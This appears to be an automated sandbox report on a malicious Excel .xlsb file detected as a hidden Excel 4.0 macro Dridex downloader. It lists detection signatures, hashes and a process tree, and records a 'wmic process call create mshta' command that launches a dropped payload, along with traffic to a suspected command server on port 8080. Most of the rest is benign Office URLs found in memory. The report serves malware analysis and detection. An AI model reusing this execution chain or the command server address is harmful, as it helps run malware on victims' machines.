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Windows Analysis Report 03332955311591163552.xlsb

Overview

General Information

Sample Name:	03332955311591163552.xlsb
Analysis ID:	528334
MD5:	03b46f9c2c3a34b01d6c6653ae6058cf
SHA1:	151187d28d385e113a7af28b7174f7ab31e88c7c
SHA256:	0f42275a9cffd35cd5b51e5fae116431d8973ff94192ddd184f9cf1a10031ea0
Infos:
Most interesting Screenshot:

Detection

Hidden Macro 4.0 Dridex Downloader

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Dridex Downloader

Multi AV Scanner detection for submitted file

Creates and opens a fake document (probably a fake document to hide exploiting)

Found Excel 4.0 Macro with suspicious formulas

Sigma detected: Microsoft Office Product Spawning Windows Shell

Document exploit detected (process start blacklist hit)

Creates processes via WMI

Document exploit detected (UrlDownloadToFile)

Found protected and hidden Excel 4.0 Macro sheet

Contains functionality to create processes via WMI

Found obfuscated Excel 4.0 Macro

Found a hidden Excel 4.0 Macro sheet

Potential document exploit detected (unknown TCP traffic)

Searches for the Microsoft Outlook file path

Tries to load missing DLLs

Yara detected Xls With Macro 4.0

Detected TCP or UDP traffic on non-standard ports

Sigma detected: Suspicious WMI Execution

Sample execution stops while process was sleeping (likely an evasion)

IP address seen in connection with other malware

Classification

Process Tree

System is w10x64

EXCEL.EXE (PID: 7004 cmdline: "C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding MD5: 5D6638F2C8F8571C593999C58866007E)

WMIC.exe (PID: 2240 cmdline: wmic process call create "mshta C:\ProgramData\EcsbNSOxkInoaK.rtf" MD5: 79A01FCD1C8166C5642F37D1E0FB7BA8)

conhost.exe (PID: 4228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

mshta.exe (PID: 4728 cmdline: mshta C:\ProgramData\EcsbNSOxkInoaK.rtf MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
app.xml	JoeSecurity_XlsWithMacro4	Yara detected Xls With Macro 4.0	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\ProgramData\EcsbNSOxkInoaK.rtf	JoeSecurity_DridexDownloader	Yara detected Dridex Downloader	Joe Security

Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: wmic process call create "mshta C:\ProgramData\EcsbNSOxkInoaK.rtf", CommandLine: wmic process call create "mshta C:\ProgramData\EcsbNSOxkInoaK.rtf", CommandLine|base64offset|contains: h, Image: C:\Windows\SysWOW64\wbem\WMIC.exe, NewProcessName: C:\Windows\SysWOW64\wbem\WMIC.exe, OriginalFileName: C:\Windows\SysWOW64\wbem\WMIC.exe, ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE, ParentProcessId: 7004, ProcessCommandLine: wmic process call create "mshta C:\ProgramData\EcsbNSOxkInoaK.rtf", ProcessId: 2240

Sigma detected: Suspicious WMI Execution

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, juju4, oscd.community: Data: Command: wmic process call create "mshta C:\ProgramData\EcsbNSOxkInoaK.rtf", CommandLine: wmic process call create "mshta C:\ProgramData\EcsbNSOxkInoaK.rtf", CommandLine|base64offset|contains: h, Image: C:\Windows\SysWOW64\wbem\WMIC.exe, NewProcessName: C:\Windows\SysWOW64\wbem\WMIC.exe, OriginalFileName: C:\Windows\SysWOW64\wbem\WMIC.exe, ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE, ParentProcessId: 7004, ProcessCommandLine: wmic process call create "mshta C:\ProgramData\EcsbNSOxkInoaK.rtf", ProcessId: 2240

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: 03332955311591163552.xlsb

Virustotal: Detection: 8%

Perma Link

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Software Vulnerabilities:

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Process created: C:\Windows\SysWOW64\wbem\WMIC.exe

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Section loaded: unknown origin: URLDownloadToFileA

Jump to behavior

Source: global traffic

TCP traffic: 192.168.2.4:49784 -> 136.144.181.174:8080

Source: global traffic

TCP traffic: 192.168.2.4:49784 -> 136.144.181.174:8080

Source: Joe Sandbox View

IP Address: 136.144.181.174 136.144.181.174

Source: unknown	TCP traffic detected without corresponding DNS query: 136.144.181.174
Source: unknown	TCP traffic detected without corresponding DNS query: 136.144.181.174
Source: unknown	TCP traffic detected without corresponding DNS query: 136.144.181.174

Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/acquisitionlogging
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/orgid/appinstall/authenticated
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/entitlement/query
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/apps/remove
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/entitlement/query
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://api.aadrm.com
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://api.aadrm.com/
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://api.addins.store.office.com/addinstemplate
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://api.addins.store.office.com/app/query
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://api.addins.store.officeppe.com/addinstemplate
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://api.cortana.ai
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://api.diagnostics.office.com
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://api.microsoftstream.com/api/
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://api.office.net
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://api.onedrive.com
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://apis.live.net/v5.0/
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://augloop.office.com
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://augloop.office.com/v2
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://cdn.entity.
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://clients.config.office.net/
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://config.edge.skype.com
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://cortana.ai
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://cortana.ai/api
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://cr.office.com
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://dataservice.o365filtering.com
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://dev.cortana.ai
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://devnull.onenote.com
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://directory.services.
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://enrichment.osi.office.net/
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://entitlement.diagnostics.office.com
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://graph.ppe.windows.net
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://graph.ppe.windows.net/
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://graph.windows.net
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://graph.windows.net/
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://incidents.diagnostics.office.com
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://inclient.store.office.com/gyro/client
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://inclient.store.office.com/gyro/clientstore
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://lifecycle.office.com
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://login.microsoftonline.com/
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://login.windows.local
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://management.azure.com
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://management.azure.com/
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://messaging.office.com/
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://metadata.templates.cdn.office.net/client/log
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://ncus.contentsync.
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://ncus.pagecontentsync.
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://officeapps.live.com
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentities
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentitiesupdated
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://onedrive.live.com
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://onedrive.live.com/embed?
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://osi.office.net
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://otelrules.azureedge.net
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://outlook.office.com
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://outlook.office.com/
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://outlook.office365.com
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://outlook.office365.com/
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://pages.store.office.com/review/query
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://powerlift.acompli.net
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://roaming.edog.
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://settings.outlook.com
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://shell.suite.office.com:1443
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://skyapi.live.net/Activity/
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://staging.cortana.ai
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://store.office.cn/addinstemplate
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://store.office.de/addinstemplate
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://substrate.office.com/search/api/v1/SearchHistory
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://substrate.office.com/search/api/v2/init
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://tasks.office.com
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://web.microsoftstream.com/video/
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
